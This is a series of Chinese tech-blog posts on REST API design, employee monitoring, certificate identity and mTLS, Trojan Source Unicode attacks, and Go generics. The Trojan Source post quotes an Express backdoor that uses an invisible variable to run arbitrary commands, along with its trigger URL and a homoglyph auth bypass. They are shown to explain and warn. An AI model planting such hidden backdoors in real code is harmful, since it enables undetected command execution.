另外,我们注意到,在这个表格的最后一列中加入了“是否幂等”的,API的幂等对于控制逻辑来说是一件很重要的事。所谓幂等,就是该API执行多次和执行一次的结果是完全一样的,没有副作用。

  • POST 用于新增加数据,比如,新增一个交易订单,这肯定不能是幂等的
  • DELETE 用于删除数据,一个数据删除多次和删除一次的结果是一样的,所以,是幂等的
  • PUT 用于全部数更新,所以,是幂等的。
  • PATCH用于局部更新,比如,更新某个字段 cnt = cnt+1,明显不可能是幂等操作。

幂等这个特性对于远程调用是一件非常关键的事,就是说,远程调用有很多时候会因为网络原因导致调用timeout,对于timeout的请求,我们是无法知道服务端是否已经是收到请求并执行了,此时,我们不能贸然重试请求,对于不是幂等的调用来说,这会是灾难性的。比如像转帐这样的业务逻辑,转一次和转多次结果是不一样的,如果重新的话有可能就会多转了一次。所以,这个时候,如果你的API遵从了HTTP动词的规范,那么你写起程序来就可以明白在哪些动词下可以重试,而在哪些动词下不能重试。如果你把所有的API都用POST来表达的话,就完全失控了。

除了幂等这样的控制逻辑之外,你可能还会有如下的这些控制逻辑的需求:

  • 缓存。通过CDN或是网关对API进行缓存,很显然,我们要在查询GET 操作上建议缓存。
  • 流控。你可以通过HTTP的动词进行更粒度的流控,比如:限制API的请用频率,在读操作上和写操作上应该是不一样的。
  • 路由。比如:写请求路由到写服务上,读请求路由到读服务上。
  • 权限。可以获得更细粒度的权限控制和审计。
  • 监控。因为不同的方法的API的性能都不一样,所以,可以区分做性能分析。
  • 压测。当你需要压力测试API时,如果没有动词的区分的话,我相信你的压力测试很难搞吧。
  • ……等等

也许,你会说,我的业务太简单了,没有必要搞这么复杂。OK,没有问题,但是我觉得你最差的情况下,也是需要做到“读写分离”的,就是说,至少要有两个动词,GET 表示是读操作,POST表示是写操作。

Restful 复杂查询

一般来说,对于查询类的API,主要就是要完成四种操作:排序,过滤,搜索,分页。下面是一些相关的规范。参考于两个我觉得写的最好的Restful API的规范文档,Microsoft REST API GuidelinesPaypal API Design Guidelines

  • 排序。对于结果集的排序,使用 sort 关键字,以及 {field_name}|{asc|desc},{field_name}|{asc|desc} 的相关语法。比如,某API需要返回公司的列表,并按照某些字段排序,如:GET /admin/companies?sort=rank|asc 或是 GET /admin/companies?sort=rank|asc,zip_code|desc

  • 过滤。对于结果集的过滤,使用 filter 关键字,以及 {field_name} op{value} 的语法。比如: GET /companies?category=banking&location=china 。但是,有些时候,我们需要更为灵活的表达式,我们就需要在URL上构造我们的表达式。这里需要定义六个比较操作:=<><=>=,以及三个逻辑操作:andornot。(表达式中的一些特殊字符需要做一定的转义,比如:>= 转成 ge)于是,我们就会有如下的查询表达式:GET /products?$filter=name eq 'Milk' and price lt 2.55 查找所有的价柗小于2.55的牛奶。

  • 搜索。对于相关的搜索,使用 search 关键字,以及关键词。如:GET /books/search?description=algorithm 或是直接就是全文搜索 GET /books/search?key=algorithm

  • 分页。对于结果集进行分页处理,分页必需是一个默认行为,这样不会产生大量的返回数据。

    • 使用pageper_page代表页码和每页数据量,比如:GET /books?page=3&per_page=20
    • 可选。上面提到的page方式为使用相对位置来获取数据,可能会存在两个问题:性能(大数据量)与数据偏差(高频更新)。此时可以使用绝对位置来获取数据:事先记录下当前已获取数据里最后一条数据的ID时间等信息,以此获取 “该ID之前的数据” 或 “该时刻之前的数据”。示例:GET /news?max_id=23454345&per_page=20 或 GET /news?published_before=2011-01-01T00:00:00Z&per_page=20

注意:这里需要注意一下,在理论上来说GET是可以带 body 的,但是很多程序的类库或是中间件并不支持 GET 带 body,导致你只能用 POST 来传递参数。这里的原则是:

  1. 对于简单的查询,很多参数都设计在 restful API 的路径上了,而 filter/sort/pagination 也不会带来很多的复杂,所以应该使用 GET 

  2. 对于复杂的查询来说,可能会有很复杂的查询参数,比如:ElasticSearch 上的 index/_search里的 DSL,你也应该尽可能的使用 GET,而不是POST 除非客观条件上不支持GET。ElasticSearch 的官方文档里也是这么说的。

The authors of Elasticsearch prefer using GET for a search request because they feel that it describes the action—​retrieving information—​better than the POST verb. (我们推荐使用 GET而不是 POST,因为语义更清楚)However, because GET with a request body is not universally supported, the search API also accepts POST requests (除非你的类库或是服务器不支持 GET带参数 ,你再用POST,我们两个都支持)

陈皓注:但是在 ElasticSearch 7.11 后,GET 也不支持 body 了。这是 ElasticSearch 的设计和实现不对应了。

另外,对于一些更为复杂的操作,建议通过分别调用多个API的方式来完成,虽然这样会增加网络请求的次数,但是这样的可以让后端程序和数据耦合度更小,更容易成为微服务的架构。

最后,如果你想在Rest中使用像GraphQL那样的查询语言,你可以考虑一下类似 OData 的解决方案。OData 是 Open Data Protocol 的缩写,最初由 Microsoft 于 2007 年开发。它是一种开放协议,使您能够以简单和标准的方式创建和使用可查询和可互操作的 RESTful API。

几个主要问题的回应

下面是对几个问题的直接回应,如果大家需要我回应更多的问题,可以在后面留言,我会把问题和我的回应添加到下面。

1)为什么API 要Restful,并符合规范?

Restful API算是一个HTTP的规范和标准了,你要说是最佳实践也好,总之,它是一个全世界对HTTP API的一个共识。在这个共识上,你可以无成本地享受很多的技术红利,比如:CDN,API网关,服务治理,监控……等等。这些都是可以让你大幅度降低研发成本,避免踩坑的原因。

2)为什么“过早优化”不适用于API设计?

因为API是一种契约,一旦被使用上,就很难再变更了,就算你发行新的版本的API,你还要驱动各种调用方升级他们的调用方式。所以,接口设计就像数据库模式设计一下,一旦设计好了,未来再变更就比较难了。所以,还是要好好设计。正如前面我给的几个文档——Microsoft REST API GuidelinesPaypal API Design Guidelines 或是 Google API Design Guide 都是让你好好设计API的不错的 Guidelines.

3)POST 更安全吗?

不会。

很多同学以为 GET 的请求数据在URL中,而 POST 的则不是,所以以为 POST 更安全。不是这样的,整个请求的HTTP URL PATH会全部封装在HTTP的协议头中。只要是HTTPS,就是安全的。当然,有些网关如nginx会把URL打到日志中,或是会放在浏览器的历史记录中,所以有人会说 GET 请求不安全,但是,POST 也没有好到哪里去,在 CSRF 这个最常见的安全问题上,则完全就是针对 POST 的。  安全是一件很复杂的事,无论你用哪方法或动词都会不能代表你会更安全。

另外,

  • 如果你要 防止你的 GET 上有敏感信息,应该加个密,这个跟 POST是一样的。
  • 如果你要防止 GET 会被中间人修改,你应该做一个URL签名。(通常来说, 我们都在 GET 上做签名,POST 就忘做了)
  • 如果你要防止有人发一些恶意链接来 hack 你的用户(传说中的 GET 不如 POST 安全的一个问题),你应该用 HMAC 之类的认证技术做好认证(参看 HTTP API 认证授权术)。

总之,你要明白,GETPOST 的安全问题都一样的,不要有谁比谁更安全,然后你就可以掉以轻心的这样的想法,安全都是要很严肃对待的。

4)全用 POST 可以节省时间减少沟通吗?

不但不会,反而更糟糕。

说这种话的人,我感觉是不会思考问题。

  • 其一,为API赋于不同的动词,这个几乎不需要时间。把CRUD写在不同的函数下也是一种很好的编程风格。另外现在几乎所有的开发框架都支持很快速的CRUD的开发,比如Spring Boot,写数据库的CRUD基本上就不需要写SQL语言相关的查询代码,非常之方便。
  • 其二,使用规范的方式,可以节约新加入团队人员的学习成本,而且可以大大减少跨团队的沟能成本。规范和标准其实就是在节约团队时间提升整体效率的,这个我们整个人类进行协作的基础。所以,这个世界上有很多的标准,你只要照着这个标准来,你的所生产的零件就可以适配到其它厂商的产品上。而不需要相互沟通。
  • 其三,全用POST接口一把梭,不规范不标准,使用你的这个山寨API的人就得来不断的问你,反而增加了沟通。另外,也许你开发业务功能很快了,但是你在做控制逻辑的时候,你就要返工了,从长期上来讲,你的欠下了技术债,这个债反而导致了更大的成本。
5)早点回家的正确姿势

不要以为你回家早就没事了,如果你的代码有这样那样的问题,别人看懂,或是出误用了你的代码出了问题,那么,你早回家有什么意义呢?你一样要被打扰,甚至被叫到公司来处理问题。所以,你应该做的是为了“长期的早回家”,而不是“短期的早回家”,要像长期的早回家,通常来说是这样的:

  • 把代码组织设计好,有更好的扩展性。这样在面对新需求的时候,你就可以做到少改代码,甚至不改代码。这样你才可能早回家。不然,每次需求一来,你得重新写,你怎么可能早回家?
  • 你的代码质量是不错的,有不错的文档和注释。所以,别人不会老有问题来找你,或是你下班后,叫你来处理问题。甚至任何人都可以很容易地接手你的代码,这样你才可能真正不被打扰
6)工作而已,优雅不能当饭吃

回应两点:

其一,遵循个规范而已,把“正常”叫“优雅”,可见标准有多低。这么低的标准也只能“为了吃饭而生存了”。

其二,作为一个“职业程序员”,要学会热爱和尊重自己的职业,热爱自己职业最重要的就是不要让外行人看扁这个职业,自己都不尊重这个职业,你让别人怎么尊重?尊重自己的职业,不仅仅只是能够获得让人羡慕的报酬,而更是要让自己的这个职业的更有含金量

希望大家都能尊重自己从事的这个职业,成为真正的职业化的程序员,而不是一个码农!

你的工作给你权力,而只有你的行为才会给你尊重

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post “一把梭:REST API 全用 POST” first appeared on 酷 壳 - CoolShell.

谈谈公司对员工的监控

作者 陈皓
2022年2月12日 15:50

今天看到微博上有一个热点事件, 是一个关于某公司做的一个监控员工离职倾向的软件,从截图中可以看到员工访问招聘网站的次数,还有投递的简历以及搜索的关建词等等信息,通过这些信息分析员工的离职倾向。然后我发一个微博,说了一下,我以前工作过的公司无论外国公司还是中国公司都有这样的情况,收到一些人来问我相关的情况,所以,我想还是写篇文章详细地说一下,我对这种事情的看法。

本文分成下面个部分:

  • 公司监控员工的技术手段有哪些?
  • 为什么要监控员工?
  • 外企和国企有什么不一样?
  • 我对此事的看法

技术手段

下面是我经历过的几个手段:

1)通过网络嗅探的方式。也就是说,你只要上了公司的网络,你个人设备上的通讯信息就可以被人以网络抓包+分析的方式进行分析。当然,这样的手段已经不怎么好用了,因为现在的网络基本上都是HTTPS加密的,网络嗅探的方式只能知道你访问了什么IP,对于其中的数据是没有办法知道的。

2)通过使用公司提供的软硬件工具。你使用公司的电子邮箱,浏览器(或是公司的代理服务器),通讯工具(包括语音电话),手机办公应用……等来处理你的个人事宜的时候,必然会被监控。这样,你只需要不要使用公司的软件来处理自己的私事就好了。

3)通过安装一个监控程序。这个是最可怕的了,因为无论你加不加密都没用了。一般来说,你不安装这个程序,你就没有办法连上网络,包括公司内网和外网。这个监控程序,会收集你电脑或手机上能够收集的到的所有的信息,比如,你的网络信息,按键操作,录屏,软件数据……等等。

4)办公区监控。我见过的还有使用摄像头,在会议室中安装声音和视频监控设备,对整个办公区内发生所有的事情进行监控。

5)通过爬虫。通过爬虫分析员工的社交平台上的各种言论,包括招聘网站。除了公司需要分布和自己相关的舆情,同样也开始监控员工的行为和价值观等。这已经不是监控隐私信息了……

公司监控的目的

公司监控的目的最早就是为了防止自己公司内的数据和信息外泄,所以,他们害怕自己的员工访问了什么不合适的网站,或是下载了什么有恶意的软件,或是不小心发错了邮件。另外一些公司也会使用外包人员,所以,对于外部编制的人员更需要有信息泄漏防范的安全需求。当然,也害怕有一些商业间谍或是自己的员工被收买了窃取公司内部的敏感信息。尤其是对于一些本身就是做数据的公司,如我以前呆过的Thomson Reuters,这家公司主要是卖金融数据的,所以,对信息泄漏是非常注重的,其就是需要在员工的电脑上安装监控软件。

还有一些劳动密集型的工作,比如在Amazon里的仓库里工作的人,公司会监控员工的工作量,以此来评估员工的工作绩效。对于用监控软件来评估程序员的工作量,我到今天仅见过监控外包人员的,在中国,外包人员需要使用甲方的电脑进行签到和签退,以及相关的工作。除了上述的信息安全目前,还能够看到员工的工作时长的情况。

所以,一般来说,公司监控的目的主要是为了自己的信息安全,还有员工的工作量评估,一般来说,不会涉及员工的隐私

但是,随着收集的数据越来越多,有些公司发现还可以做更多的事,比如,上述的员工离职倾向的分析。还有一些公司还会收集员工在外网的数据,比如你在社交平台上的各种言论,来分析你对公司的忠诚度和你的价值观取向……我个人觉得这些已经令人不耻了。

外企与国企不同之处

我经历过的公司中,外国公司和中国公司都有监控的经历,这里说一下他们的不一样之处。最大的不一样的地方是,外国公司会让你有知情权,而中国公司则完全没有

我记得我进入Thomson Reuters 公司的时候,公司要求签署一份监控的知情的同意书,其中用中英文写的,就是说,你授权公司监控你的如下这些信息:1)上网记录,2)下载的软件,3)工作电脑,4)公司的座机电话,5)会议室和办公区的语音和视频监控……大概有两页A4纸,然后也说明了这些数据公司仅用于信息安全的风控,不用于个人隐私分析等等……并且会符合法律要求保护员工的这些数据不外泄……这些条款都经得起法律的推敲。这样的协议是需要员工签字的,并且对双方都有法律约束的。

中国的公司则不会告诉你他们会监控你哪些数据,而这些数据拿来做什么。 我记得我在某公司工作的时候,就有员工发现自己访问自己的gmail的录屏被公司收集后的愤怒……

我对此事的看法

一方面,我对于公司通过使用监控软件监控员工的行为我是能够理解的,但是,应该让员工有知情权,并和员工明确一个监控的信息和范围,包括收集的数据的用途和安全措施,以及数据多长时间销毁的协议。如果没有这个协议的话,我觉得本质上就是一种流氓行为。

另一方面,针对监控员离职的倾向来说,我实在不知道有什么意义?公司你知道了又能如何呢?你是要找员工作思想工作,还是要给员工更好的待遇,还是直接开掉?如果你对自己的企业有信心,你就不必担心员工会离开,如果你的企业有问题,你为什么不把心思花在建设自己的企业上来呢?安装这样的监控软件对于企业没有什么帮助,反而只会让你的企业的形象更low……

再仔细想想,员工有一万种方法泄漏你公司的信息,无论你怎么监控,只要他想,他总是能够找到方法的,不是么?如何让找到或是培养有职业操守的员工,如何管理自己企业的商业信息,如何建立一个更好的企业文化让员工更有归属感,成为企业的共同体,一同维护共同利益,为企业着想,这不才是公司真正应该干的事吗?!监控员工充分暴露了这样的企业没有一个好的企业文化,不懂得高级的管理,所以,只能靠监控这样的手段来管理企业了……这样的企业不去也罢了。

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 谈谈公司对员工的监控 first appeared on 酷 壳 - CoolShell.

网络数字身份认证术

作者 陈皓
2022年1月2日 16:38

这篇文章是《HTTP API 认证授权术》的姊妹篇,在那篇文章中,主要介绍了 HTTP API 认证和授权技术中用到的 HTTP Basic, Digest Access, HMAC, OAuth, JWT 等各种方式,主要是 API 上用到的一些技术,这篇文章主要想说的是另一个话题——身份认证。也就是说,怎么确认这个数据就是这个人发出来的?

用户密码

要解决这个问题,我们先来看一个最简单的解——使用密码,通常来说,在网络上要证明一个人的身份的话,都需要这个人的一些私密而唯一的东西。比如,像密码这样的东西,很多地方,只要你提供了你的用户名+密码,就可以确定这个人是你(注明:关于密码管理,强密码设定,密码泄漏,密码破解以及密码哄骗不在这篇文章的话题中),也就是说,这个密码是非常私密的事,我们可以假设,这个事全世界只能有当事人一个人知道,所以,当事人得供正确的密码,我们就可以认证这个人了。

为了加强密码的安全程度,一般会使用 2FA(Two-factor authentication)或 MFA(Multi-factor authentication),双因认证或多因认证,这需要用户提供一个唯一的可信设备,比如用户的手机,然后通过验证手机短信,或是像 Google Authenticator  这样的动态口令来完成。这样的安全级别已经算是比较高了。如果能够再加上经常性的变更密码,那么安全级别就更好了。

另外,一些公司还使用了生物密码来进行用户的身份验证,比如人脸识别。但是,我个人觉得人脸识别或是生物识别是比较糟糕的方式,因为:

  • 目前能被验证的生物信息(如人脸和指纹)太容易被别人获得和伪造了。
  • 这样东西不能被变更和吊销,密码可以被吊销和重置,人脸则不能。

密钥对和证书

密码可以解决身证认证的问题有很多问题,最重要的一个问题就是,你要把你的密码提供给对方,对方才能验证你的身份。你不可能把你的密码提供给全世界的人吧,这样的话,全世界的人都有你的密码了,那么任何人都能变成你了。所以,用户密码这个事只能存在于权威机构和普通用户之间,不能存在于普遍应用中。所以,这里需要使用更好的解决方案。

使用 ECC(Elliptic-Curve Cryptography)椭圆曲线密码术,可以通过一个“密钥对”进行非对称加密。这种技术,在对信息进行加密和解密时,使用两个不同的密钥,其中一个用来做加密,另一个做解密。这样一来,我们就可以把其中一个密钥公布出去,称之为公钥,另一个密钥私密地保管好,称之为私钥。

比如,我用我的私钥加密信息,然后,我把这个私钥所配对的公钥发布给所有人,大家都用公钥解密信息,不用我的公钥你解密不了这个信息。这样一来,就可以保证这个信息是我发出来的,不但保证了信息安全,还完成了身份认证。

这样的现实案例一般用于网站,也就是用户得要知道我访问的这个网站是真实的,不是别人做的。因为 DNS 很容易被 hack,你连上一个不可信的网络,这个网络里的 DNS 把这个网站的 IP 地址解析成什么 就是什么了。但是有了这个加密的机制后,网站把自己的信息加密后连同公钥给到访问者,访问解密后就知道是不是这个网站了。

但是,这里还是会有一个很严重的问题,那就是中间人攻击。如下图所示:

中间人 Chad 把自己伪装成 Bob 向 Alice 要信息,然后,再伪装成 Alice 对 Bob 说,这就是 Alice 的公钥,于是 Bob 也无法验证是不是 Alice 的公钥,因为公钥里就是一堆乱七八糟的数据,我们完全不能分辨哪个公钥属于 Alice 的。试想,如果我们收到声称属于银行的密钥。我们怎么知道它确实属于你的银行?

这里的答案就是使用数字证书。证书跟我们的身份证非常类似,其需要一个可信机构来颁发和验证的。这个证书机构 CA(Certificate Authority)是一个是大家都相信的权威机构,他用他的人品保证(当然一般会被严格管理和审计),CA 机构同样使用这样的非对称加密的技术来完成颁发和验证的事。下图展示了这一过程。

说明一下上面这个图:

  1. 为了解决公钥认证的问题的,我们需要一个权威的CA 机构。
  2. Alice 把自己的信息(姓名、组织,地址,电邮,网址等)和自己的公钥打包成一个 CSR 的文件,发给 CA 机构,
  3. CA 机构会来找 Alice 做物理世界的认证,如果通过后,就会用自己的机构私钥,把CSR 变成一个签名证书。
  4. Bob 同学拿到 Alice 的证书,用 CA 机构的公钥解密后,得到 Alice 的公钥
  5. 后面就可以签证 信息是否来自 Alice 了。

是的,这个过程就是在“套娃”,这种证书机构还可以给下级的证书机构发证,于是就会一层套一层地,形成一个证书链,顶层的叫根证书,你得绝对信任之。对于验证证书真实性的客户端,它需要能够验证链中所有 CA 的签名,这意味着客户端需要访问链中所有 CA 的证书。

证书生成过程演示

并不是所有的场景都需要向这些大型的 CA 机构申请公钥证书,在任何一个企业,组织或是团体内都可以自己形这样的“小王国”,也就是说,你可以自行生成这样的证书,只需要你自己保证自己的生成证书的私钥的安全,以及不需要扩散到整个互联网。下面,我们用 openssl命令来演示这个过程。

1)生成 CA 的证书(公钥) ca.crt 和私钥 ca.key

openssl req -newkey rsa:2048 \
    -new -nodes -x509 \
    -days 365 \
    -out ca.crt \
    -keyout ca.key \
    -subj "/C=SO/ST=Earth/L=Mountain/O=CoolShell/OU=HQ/CN=localhost"

2)  生成 alice 的私钥

openssl genrsa -out alice.key 2048

3)生成 Alice 的 CSR – Certificate Signing Request

openssl req -new -key alice.key 365 -out alice.csr \
    -subj "/C=CN/ST=Beijing/L=Haidian/O=CoolShell/OU=Test/CN=localhost.alice"

4)使用 CA 给 Alice 签名证书

openssl x509  -req -in alice.csr \
    -extfile <(printf "subjectAltName=DNS:localhost.alice") \ 
    -CA ca.crt -CAkey ca.key  \
    -days 365 -sha256 -CAcreateserial \
    -out alice.crt

双向认证 mTLS

上面,我们说的基本上都是单向认证,大量的场景都是确保用户方访问的是真正的服务方,如:银行,电商网站,等。这样可以保证用户不会被钓鱼网站或是中间人攻击。但是,很多时候,我们也是需要双向认证的。下面是一个典型的场景——微信支付和商户间交互

  • 用户到商家那边买东西,商家要求用户进行支付。
  • 用户选择了微信支付,于是,界面从商户侧切到了微信侧
  • 微信那边支付完成后,商户这边收到微信那边支付完成的通知,于是开始发货。

这个过程中有件事非常重要——就是微信通知商户支付完成的时候。

  • 微信得确保通知到的就是用户所支付商户,而不是别个。
  • 商户也得要能确认,来通知我的就是微信,不是别人。

一般来说,微信会给商户一个 AppID和一个 AppSerct,用这个来确保是我认证过的商户来调用我,然后,需要商户在自己的系统里填一个回调的 URL,并通过平台设置的 key来做 MD5/HMAC的签名来确保是官方的回调。这都是在《HTTP API 认证授权术》中提到过的技术,是相对传统的技术。

如今,mTLS是确保云原生应用程序中服务之间的通信安全的首选协议。 也就是双向认证。

传统的 TLS 认证过程是:

  1. 客户端连接到服务器
  2. 服务器提供其 TLS 证书
  3. 客户端验证服务器的证书
  4. 客户端和服务器通过加密的 TLS 连接交换信息

在 mTLS 中,客户端和服务器都有一个证书,双方都使用他们的公钥/私钥对进行身份验证。与常规 TLS 相比,mTLS 中有额外的步骤来验证双方(以粗体显示的额外步骤):

  1. 客户端连接到服务器
  2. 服务器提供其 TLS 证书
  3. 客户端验证服务器的证书
  4. 客户端出示其 TLS 证书
  5. 服务器验证客户端的证书
  6. 服务器授予访问权限
  7. 客户端和服务器通过加密的 TLS 连接交换信息

mTLS 需要“根”TLS 证书;这我们自己来完成证书颁发机构的职责。授权客户端和服务器使用的证书必须与此根证书相对应。根证书是自签名的,这意味着我们需要自己创建它。(注:此方法不适用于公共 Internet 上的单向 TLS,因为外部证书颁发机构必须颁发这些证书)

那么,为什么整个互联网上都用了 TLS 了,为什么 不升级一下使用 mTLS?这里有两方面的原因:

  • 公共互联网上要解决的问题是:A) 确保用户访问到的是正确的网站,而不是钓鱼网站。B)网站传输的内容是安全和私密且不会被篡改的。
  • 将 TLS 证书分发到所有最终用户设备将非常困难。生成、管理和验证为此所需的数十亿个证书几乎是不可能的任务。

在较小的范围内,mTLS 对于单个组织非常有用且非常实用,尤其是当这些组织采用零信任方法来确保网络安全时。由于默认情况下零信任方法不信任任何用户、设备或请求,因此组织必须能够在每次尝试访问网络中的任何点时对每个用户、设备和请求进行身份验证。mTLS 通过对用户进行身份验证和设备验证来帮助实现这一目标。

关于 mTLS,这里有一个我用 Golang 写的示例 – https://github.com/haoel/mTLS,大家可以参考一下。

P.S. 本文图版中的卡司来自安全圈的标准 Cast,参看 Alice and Bob

(全文完)

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 网络数字身份认证术 first appeared on 酷 壳 - CoolShell.

源代码特洛伊木马攻击

作者 陈皓
2021年11月19日 17:02

最近,我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.”也就是说我们的代码中有一些 bidirectional unicode 的文本,中文直译作 “双向文本”,意思是一些语言是从左到右的,而另一些则是是从右到左的(如:阿拉伯语),如果同一个文件里,即有从左向右的文本也有从右向左文本两种的混搭,那么,就叫bi-direction。术语通常缩写为“ BiDi ”或“ bidi ”。使用双向文本对于中国人来说并不陌生,因为中文又可以从左到右,也可以从右到左,还可以从上到下。

早期的计算机仅设计为基于拉丁字母的从左到右的方式。添加新的字符集和字符编码使许多其他从左到右的脚本能够得到支持,但不容易支持从右到左的脚本,例如阿拉伯语或希伯来语,并且将两者混合使用更是不可能。从右到左的脚本是通过ISO/IEC 8859-6ISO/IEC 8859-8等编码引入的,通常以书写和阅读顺序存储字母。可以简单地将从左到右的显示顺序翻转为从右到左的显示顺序,但这样做会牺牲正确显示从左到右脚本的能力。通过双向文本支持,可以在同一页面上混合来自不同脚本的字符,而不管书写方向如何。

双向文本支持是计算机系统正确显示双向文本的能力。对于Unicode来说,其标准为完整的 BiDi 支持提供了基础,其中包含有关如何编码和显示从左到右和从右到左脚本的混合的详细规则。你可以使用一些控制字符来帮助你完成双向文本的编排。

好的,科普完“双向文本”后,我们正式进入正题,为什么Github 会出这个警告?Github的官方博客“关于双向Unicode的警告”中说,使用一些Unicode中的用于控制的隐藏字符,可以让你代码有着跟看上去完全不一样的行为。

我们先来看一个示例,下面这段 Go 的代码就会把 “Hello, World”的每个字符转成整型,然后计算其中多少个为 1 的 bit。

package main

import "fmt"

func main() {
  str, mask := "Hello, World!‮10x‭", 0

  bits := 0
  for _, ch := range str {
    for ch > 0 {
      bits += int(ch) & mask
      ch = ch >> 1
    }
  }
  fmt.Println("Total bits set:", bits)
}

这个代码你看上去没有什么 奇怪的地方,但是你在执行的时候(可以直接上Go Playground上执行  – https://play.golang.org/p/e2BDZvFlet0),你会发现,结果是 0,也就是说“Hello, World”中没有值为 1 的 bit 位。这究竟发生了什么事?

如果你把上面这段代码拷贝粘贴到字符界面上的 vim 编辑器里,你就可以看到下面这一幕。

其中有两个浅蓝色的尖括号的东西—— <202e><202d> 。这两个字符是两个Unicode的控制字符(注:完整的双向文本控制字符参看 Unicode Bidirectional Classes):

  • U+202E – Right-to-Left Override [RLO] 
    表示,开始从右到左显示,于是,接下来的文本 10x", 0 变成了 0 ,"x01
  • U+202D – Left-to-Right Override [LRO]
    表示,开始从左到右显示,于是,0,"x01 中的前4个字符0 ," 反转成  ", 0,于是整个文本成了 ", 0x01

所以,你在视觉上看到的是结果是—— "Hello, World!”, 0x01, 但是实际上是完全是另外一码事。

然后,Github官方博客中还给了一个安全问题 CVE-2021-42574 ——

在 Unicode 规范到 14.0 的双向算法中发现了一个问题。它允许通过控制序列对字符进行视觉重新排序,可用于制作源代码,呈现与编译器和解释器执行逻辑完全不同的逻辑。攻击者可以利用这一点对接受 Unicode 的编译器的源代码进行编码,从而将目标漏洞引入人类审查者不可见的地方。

这个安全问题在剑桥大学的这篇论文“Some Vulnerabilities are Invisible”中有详细的描述。其中PDF版的文章中也给了这么一个示例:

通过双向文本可以把下面这段代码:

伪装成下面的这个样子:

在图 2 中'alice'被定义为价值 100,然后是一个从 Alice 中减去资金的函数。最后一行以 50 的值调用该函数,因此该小程序在执行时应该给我们 50 的结果。

然而,图 1 向我们展示了如何使用双向字符来破坏程序的意图:通过插入RLI (Right To Left Isolate) – U+2067我们将文本方向从传统英语更改为从右到左。尽管我们使用了减去资金功能,但图 1 的输出变为 100。

除此之外,支持Unicode还可以出现很多其它的攻击,尤其是通过一些“不可见字符”,或是通过“同形字符”在源代码里面埋坑。比如文章“The Invisible Javascript Backdoor”里的这个示例:

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

上面这个代码实现了一个非常简单的网络健康检查,HTTP会执行 ping -c 1 google.com 以及 curl -s http://example.com 这两个命令来查看网络是否正常。其中,可选输入 HTTP 参数timeout限制命令执行时间。

然后,上面这个代码是有不可见的Unicode 字符,如果你使用VSCode,把编码从 Unicode 改成 DOS (CP437) 后你就可以看到这个Unicode了

于是,一个你看不见的 πàñ 变量就这样生成了,你再仔细看一下整个逻辑,这个看不见的变量,可以让你的代码执行他想要的命令。因为,http 的请求中有第二个参数,这个参数可奖在后面被执行。于是我们可以构造如下的的 HTTP 请求:

http://host:port/network_health?%E3%85%A4=<any command>

其中的,%E3%85%A4 就是 \u3164 这个不可见Unicode 的编码,于是,一个后门代码就这样在神不知鬼不觉的情况下注入了。

另外,还可以使用“同形字符”,看看下面这个示例:

if(environmentǃ=ENV_PROD){
    // bypass authZ checks in DEV
    return true;
}

如何你以为 ǃ 是 惊叹号,其实不是,它是一个Unicode ╟â。这种东西就算你把你的源码转成 DOS(CP437) 也没用,因为用肉眼在一大堆正常的字符中找不正常的,我觉得是基本不可能的事。

现在,是时候检查一下你的代码有没有上述的这些情况了……

(全文完)

 

 

(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)

The post 源代码特洛伊木马攻击 first appeared on 酷 壳 - CoolShell.

Go编程模式 : 泛型编程

作者 陈皓
2021年9月4日 13:44

Go语言的1.17版本发布了,其中开始正式支持泛型了。虽然还有一些限制(比如,不能把泛型函数export),但是,可以体验了。我的这个《Go编程模式》的系列终于有了真正的泛型编程了,再也不需要使用反射或是go generation这些难用的技术了。周末的时候,我把Go 1.17下载下来,然后,体验了一下泛型编程,还是很不错的。下面,就让我们来看一下Go的泛型编程。(注:不过,如果你对泛型编程的重要性还不是很了解的话,你可以先看一下之前的这篇文章《Go编程模式:Go Generation》,然后再读一下《Go编程模式:MapReduce》)

本文是全系列中第10 / 10篇:Go编程模式

初探

我们先来看一个简单的示例:

package main

import "fmt"

func print[T any] (arr []T) {
  for _, v := range arr {
    fmt.Print(v)
    fmt.Print(" ")
  }
  fmt.Println("")
}

func main() {
  strs := []string{"Hello", "World",  "Generics"}
  decs := []float64{3.14, 1.14, 1.618, 2.718 }
  nums := []int{2,4,6,8}

  print(strs)
  print(decs)
  print(nums)
}

上面这个例子中,有一个 print() 函数,这个函数就是想输出数组的值,如果没有泛型的话,这个函数需要写出 int 版,float版,string 版,以及我们的自定义类型(struct)的版本。现在好了,有了泛型的支持后,我们可以使用 [T any] 这样的方式来声明一个泛型类型(有点像C++的 typename T),然后面都使用 T 来声明变量就好。

上面这个示例中,我们泛型的 print() 支持了三种类型的适配—— int型,float64型,和 string型。要让这段程序跑起来需要在编译行上加上 -gcflags=-G=3编译参数(这个编译参数会在1.18版上成为默认参数),如下所示:

$ go run -gcflags=-G=3 ./main.go

有了个操作以后,我们就可以写一些标准的算法了,比如,一个查找的算法

func find[T comparable] (arr []T, elem T) int {
  for i, v := range arr {
    if  v == elem {
      return i
    }
  }
  return -1
}

我们注意到,我们没有使用 [T any]的形式,而是使用 [T comparable]的形式,comparable是一个接口类型,其约束了我们的类型需要支持 == 的操作, 不然就会有类型不对的编译错误。上面的这个 find() 函数同样可以使用于 int, float64或是string类型。

从上面的这两个小程序来看,Go语言的泛型已基本可用了,只不过,还有三个问题:

  • 一个是 fmt.Printf()中的泛型类型是 %v 还不够好,不能像c++ iostream重载 >> 来获得程序自定义的输出。
  • 另外一个是,go不支持操作符重载,所以,你也很难在泛型算法中使用“泛型操作符”如:== 等
